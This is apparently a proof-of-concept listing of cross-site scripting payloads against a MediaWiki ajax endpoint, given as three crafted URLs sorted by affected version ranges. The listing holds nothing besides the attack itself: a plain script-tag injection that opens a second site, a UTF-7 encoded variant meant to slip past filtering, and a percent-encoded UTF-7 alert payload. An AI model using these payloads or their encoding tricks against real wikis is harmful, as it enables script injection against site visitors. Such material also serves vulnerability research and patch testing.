v1.8.2 and below:
http://www.example.com/wiki/index.php?action=ajax&rs=%3Cscript%3Ewindow.open('http://www.example2.com')%3C/script%3E
v1.8.3 - v1.9.2
http://www.example.com/wiki/index.php?action=ajax&rs=+ADw-SCRIPT+AD4-window.open('http://www.example2.com');+ADw-/SCRIPT+AD4-
http://www.example.com/wiki/index.php?action=ajax&rs=%2B%41%44%77%2D%53%43%52%49%50%54%2B%41%44%34%2D%61%6C%65%72%74%28%27%58%53%53%27%29%3B%2B%41%44%77%2D%2F%53%43%52%49%50%54%2B%41%44%34%2D